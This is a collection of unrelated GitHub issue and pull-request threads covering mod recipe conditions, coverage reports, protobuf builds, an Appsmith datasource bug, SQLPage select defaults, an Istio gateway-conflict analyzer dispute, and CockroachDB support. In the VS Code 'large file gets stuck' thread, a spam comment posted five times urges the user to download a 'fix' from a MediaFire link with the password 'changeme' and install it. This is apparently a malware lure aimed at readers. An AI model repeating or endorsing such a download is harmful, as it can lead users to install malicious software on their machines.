To Reproduce
Steps to reproduce the behavior:
Expected behavior
Not to see error messages in logs about not-present mods, mod not present should disable.  I believe the following code can also be used to prevent recipes from load attempt based on mod presence.
    "conditions": [
        {
            "type": "forge:mod_loaded",
            "modid": "evilcraft"
        }

Screenshots
logs
Log snip

Thanks. It should now be resolved with mod version 1.5.0. Closed now.


Fix flipcard behavior

Pull Request Test Coverage Report for Build 410

0 of 1 (0.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.04%) to 80.746%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/main/java/seedu/address/ui/DeckReviewScreen.java
0
1
0.0%

Totals

Change from base Build 409:
-0.04%

Covered Lines:
1774

Relevant Lines:
2197

💛  - Coveralls


Bug 1140641 - django.utils.simplejson is deprecated

Hi,
I tried fixing this bug. If there is something I didn't do right, please let me know.
Thank you.

I'm sorry. It seems someone else beat you to it with a small margin.
https://github.com/mozilla/airmozilla/commit/cfbc80226ecba99158151bac37872e2b2629b7f5
Do you need help finding another bug to work on?

I checked to see if it was resolved before I submitted this pull request and it wasn't. So it is kind of disappointing someone else beat me when I was the first to submit the pull request. Anyways, I have left a question in one of the other bugs I wanted to give a try to, it is on the bug tracker so I hope you can leave a clarification on it so I can work on that. Thanks for informing me.


[Suggestion] Use .proto files to define CodedInputStream format

I saw the library depends on Google.Protobuf, but it's not using .proto files to define/spec binary format, just curious what's the concern here.  :)

It's technical debt and perhaps my bias not to have another step in building the library.
In Peer Talk I went with protobuf-net which uses C# attributes.

Currently it's quite simple to setup the build step of .proto files, and it's actually my another question that why the library depends on both official protobuf and protobuf-net? Any chance to unify them? : )
To setup build step with official protobuf, just add below lines to .csproj
<ItemGroup>
    <Protobuf Include="**/*.proto" />
    <EmbeddedResource Include="**/*.proto" />
    <PackageReference Include="Grpc.Tools" Version="1.21.0" PrivateAssets="All" />
</ItemGroup>

Just created a draft PR to unify protobuf dependencies  https://github.com/richardschneider/peer-talk/pull/37  Please let me know your concern


Import compactpy fixes

I've started adopting the utilities repository in other Python projects on casework.  Some of the projects had their own copies of utility scripts, and have fallen out of sync.  tests/src/compact.py had some updates in the ExifTool implementation.  This PR will import those updates.

Apologies, PR was sent to wrong target branch.


[Bug]: Not able to delete the datasource for the app created out of template

Is there an existing issue for this?

[X] I have searched the existing issues

Description

Created app with template - Customer support dashboard,
Added new page
Deleted Pages created by template
delete the datasource created out of template

Actual - Error is displayed that can not delete the Datasource as action is attached to it
Expected - After deleting all the pages attached to datasource it should allow to delete the datasource

Steps To Reproduce

Create a new app with template - customer dashboard (google sheet)
Create new page and delete all pages attached to customer dashboard
delete all action attached to datasource and delete the datasource

It throws error that datasource can not be deleted as actions are attached to it
Public Sample App
https://release.app.appsmith.com/applications/633ac19b38ab615cde3ab5ba/pages/633ac1d138ab615cde3ab5c0/edit/datasource/633ac36becf6173a15c33fd1
Version
cloud

Duplicate of #10358


Problem with 'select' type

I want to create a dropdown menu in a form, and I want to set a default value and then sort the options alphabetically. However, I feel like setting a default value is impossible.
Do you have any other solution or suggestion to assign a default value?
When I query my database, "Europe/Paris" appears first, but not on the SQL page.
Here is my SQL query:
SELECT
    'Timezone' AS label,
    'timezone' AS name,
    'select' AS type,
    '' AS description,
    FALSE AS create_new,
    'Europe/Paris' AS placeholder,
    TRUE AS searchable,
    TRUE AS required,
    json_agg(json_build_object('label', name, 'value', name)) AS options
FROM (
         SELECT DISTINCT
             name,
             CASE
                 WHEN name = 'Europe/Paris' THEN 0
                 ELSE 1
                 END AS paris_first
         FROM
             timezone
         ORDER BY
             paris_first,
             name
     ) AS sorted
GROUP BY
    label,
    type,
    description,
    create_new,
    placeholder,
    searchable,

Hello and welcome to SQLPage !
If what you need is just to set a default selected option, you can use the selected key inside the options property of the form component:
SELECT
    'Timezone' AS label,
    'timezone' AS name,
    'select' AS type,
    TRUE AS searchable,
    json_agg(json_build_object(
        'label', name,
        'value', name,
        'selected', name = 'Europe/Paris'
    ) order by name) AS options
FROM timezone;

The postgres documentation has the following to say about ordering the results of json_agg (emphasis mine):

aggregate functions produce meaningfully different result values depending on the order of the input values. This ordering is unspecified by default, but can be controlled by writing an ORDER BY clause within the aggregate call, as shown in Section 4.2.7. Alternatively, supplying the input values from a sorted subquery will usually work.

If you really need to change the order of options, the query becomes
SELECT
    json_agg(
      json_build_object(
        'label', name,
        'value', name,
        'selected', name = 'Europe/Paris'
      )
      order by
             case name when 'Europe/Paris' then 0 ELSE 1 END,
             name
    ) AS options
FROM timezone;

But I'm not sure this is very useful :stuck_out_tongue:

Indeed, that was exactly what I was looking for, thank you for your help. I see that you're using https://editor.datapage.app/; I just discovered it, and it looks pretty cool.


istioctl analyze shouldn't report IST0145 for wildcard host and specific subdomain

Is this the right place to submit this?

[X] This is not a security vulnerability or a crashing bug
[X] This is not a question about how to use Istio

Bug Description
istioctl analyze reports IST0145 for gateways when one contains a wildcard host (e.g. *.example.com) and the other a specific subdomain (e.g. foo.example.com). The config works just fine as expected though.
Example config
apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: example-wildcard
  namespace: istio-system
spec:
  selector:
    istio: ingressgateway
  servers:
    - hosts:
        - '*.example.com'
      port:
        name: example-wildcard
        number: 80
        protocol: HTTP
---
apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: example-subdomain
  namespace: istio-system
spec:
  selector:
    istio: ingressgateway
  servers:
    - hosts:
        - 'foo.example.com'
      port:
        name: example-subdomain
        number: 80
        protocol: HTTP

istioctl analyze output
Error [IST0145] (Gateway istio-system/example-subdomain) Conflict with gateways istio-system/example-wildcard (workload selector istio=ingressgateway, port 80, hosts foo.example.com).
Error [IST0145] (Gateway istio-system/example-wildcard) Conflict with gateways istio-system/example-subdomain (workload selector istio=ingressgateway, port 80, hosts *.example.com).

Version
client version: 1.22.2
control plane version: 1.21.2
data plane version: 1.21.2 (94 proxies)

Additional Information
No response
Affected product area

[ ] Ambient
[ ] Docs
[ ] Dual Stack
[ ] Installation
[ ] Networking
[ ] Performance and Scalability
[ ] Extensions and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure
[ ] Upgrade
[ ] Multi Cluster
[ ] Virtual Machine
[ ] Control Plane Revisions

It doesn't to be a bug, the two gateway configurations above shouldn't exist simultaneously, in my humble opinion.

Although the two configurations above seem to work properly, as the policy will merge them and then only excute example-wildcard, so the example-subdomain doesn't have any significance.

It does have significance, because I could use different certificates or bind different VirtualServices to the different gateways. The more specific entry (subdomain) will take precedence. So it does have significance.

It does have significance, because I could use different certificates or bind different VirtualServices to the different gateways. The more specific entry (subdomain) will take precedence.

Oh ，this is indeed a very practical need

It does have significance, because I could use different certificates or bind different VirtualServices to the different gateways. The more specific entry (subdomain) will take precedence.

Oh ，this is indeed a very practical need

I have changed my mind again. If subdomains have different configurations, I suggest using different port numbers.
The current conflict trigger conditions are: the same port, the same gateway, and duplicate domains.
Your example only differs in subdomains, which will cause confusion in traffic handling. The configuration generated based on the gateway will result in uncertain traffic handling due to the creation order and hosts.
This issue was pointed out that the problem: https://github.com/istio/istio/issues/27481

The generated Envoy config does not rely on ordering of listeners, as explained in the relevant Envoy docs:
https://www.envoyproxy.io/docs/envoy/latest/api-v3/config/listener/v3/listener_components.proto#config-listener-v3-filterchainmatch

For criteria that allow ranges or wildcards, the most specific value in any of the configured filter chains that matches the incoming connection is going to be used (e.g. for SNI www.example.com the most specific match would be www.example.com, then *.example.com, then *.com, then any filter chain without server_names requirements).


Loading a large file gets stuck

Type: Bug
I have a big project file,  one file of which  storaged big datas. When I first open one of big data, VScode get stuck. And then I try to load this file again, it keeps getting stuck. Are there any solutions here? Thank you!
VS Code version: Code 1.92.2 (fee1edb8d6d72a0ddff41e5f71a671c23ed924b9, 2024-08-14T17:29:30.058Z)
OS version: Linux x64 6.8.0-40-generic
Modes:

System Info

Item
Value

CPUs
AMD Ryzen Threadripper PRO 5975WX 32-Cores (64 x 1800)

GPU Status
2d_canvas: unavailable_softwarecanvas_oop_rasterization: disabled_offdirect_rendering_display_compositor: disabled_off_okgpu_compositing: disabled_softwaremultiple_raster_threads: enabled_onopengl: disabled_offrasterization: disabled_softwareraw_draw: disabled_off_okskia_graphite: disabled_offvideo_decode: disabled_softwarevideo_encode: disabled_softwarevulkan: disabled_offwebgl: unavailable_softwarewebgl2: unavailable_softwarewebgpu: disabled_offwebnn: disabled_off

Load (avg)
1, 1, 1

Memory (System)
251.52GB (242.13GB free)

Process Argv
--crash-reporter-id 5f0dc6f0-15f6-42a0-96b4-a9cf9b39f4d4

Screen Reader
no

VM
0%

DESKTOP_SESSION
ubuntu

XDG_CURRENT_DESKTOP
Unity

XDG_SESSION_DESKTOP
ubuntu

XDG_SESSION_TYPE
x11

Extensions (16)

Extension
Author (truncated)
Version

tongyi-lingma
Ali
1.3.11

gc-excelviewer
Gra
4.2.61

vscode-language-pack-zh-hans
MS-
1.92.2024081409

debugpy
ms-
2024.10.0

python
ms-
2024.12.3

vscode-pylance
ms-
2024.8.2

jupyter
ms-
2024.7.0

jupyter-keymap
ms-
1.1.2

jupyter-renderers
ms-
1.0.19

vscode-jupyter-cell-tags
ms-
0.1.9

vscode-jupyter-slideshow
ms-
0.1.6

cmake-tools
ms-
1.18.44

cpptools
ms-
1.21.6

cpptools-extension-pack
ms-
1.3.0

bash-debug
rog
0.3.9

cmake
twx
0.0.17

(1 theme extensions excluded)

A/B Experiments
vsliv368:30146709
vspor879:30202332
vspor708:30202333
vspor363:30204092
vscod805:30301674
binariesv615:30325510
vsaa593:30376534
py29gd2263:31024239
c4g48928:30535728
azure-dev_surveyone:30548225
a9j8j154:30646983
962ge761:30959799
pythongtdpath:30769146
pythonnoceb:30805159
asynctok:30898717
pythonregdiag2:30936856
pythonmypyd1:30879173
h48ei257:31000450
pythontbext0:30879054
dsvsc016:30899300
dsvsc017:30899301
dsvsc018:30899302
cppperfnew:31000557
dsvsc020:30976470
pythonait:31006305
dsvsc021:30996838
g316j359:31013175
pythoncenvpt:31062603
a69g1124:31058053
dvdeprecation:31068756
dwnewjupytercf:31046870
impr_priority:31102340
nativerepl1:31104043
refactort:31108082
pythonrstrctxt:31112756
flightc:31119335
wkspc-onlycs-c:31111717
wkspc-ranged-c:31125598
ei213698:31121563
aajjf12562:31125793

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@Yonghai557 may I know the file size of the one you have issues with opening in VS Code?

@Yonghai557 may I know the file size of the one you have issues with opening in VS Code?

Of, course! This folder has 2 million or so audio files, and size can be at least 60g.


Add the beginnings of CockroachDB support

CockroachDB recently open-sourced their parser here: https://github.com/cockroachdb/cockroachdb-parser. I've used that to start adding support for CockroachDB. Once I get the authors examples working, I'll go ahead and merge.
TODO

[x] Implement basic type support beyond text
[ ] Implement expansion of *
[ ] Test against a running version of CockroachDB

Fixes #1389

Why did this get closed?

is this still on the roadmap ?

Anyone is welcome to pick this up, and submit a PR. At the time, it wasn't something the core maintainers could carry to completion.


[decompile] bsp-h

Pull Request Test Coverage Report for Build 912242598

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.004%) to 69.508%

Totals

Change from base Build 910815144:
0.004%

Covered Lines:
36179

Relevant Lines:
52050

💛  - Coveralls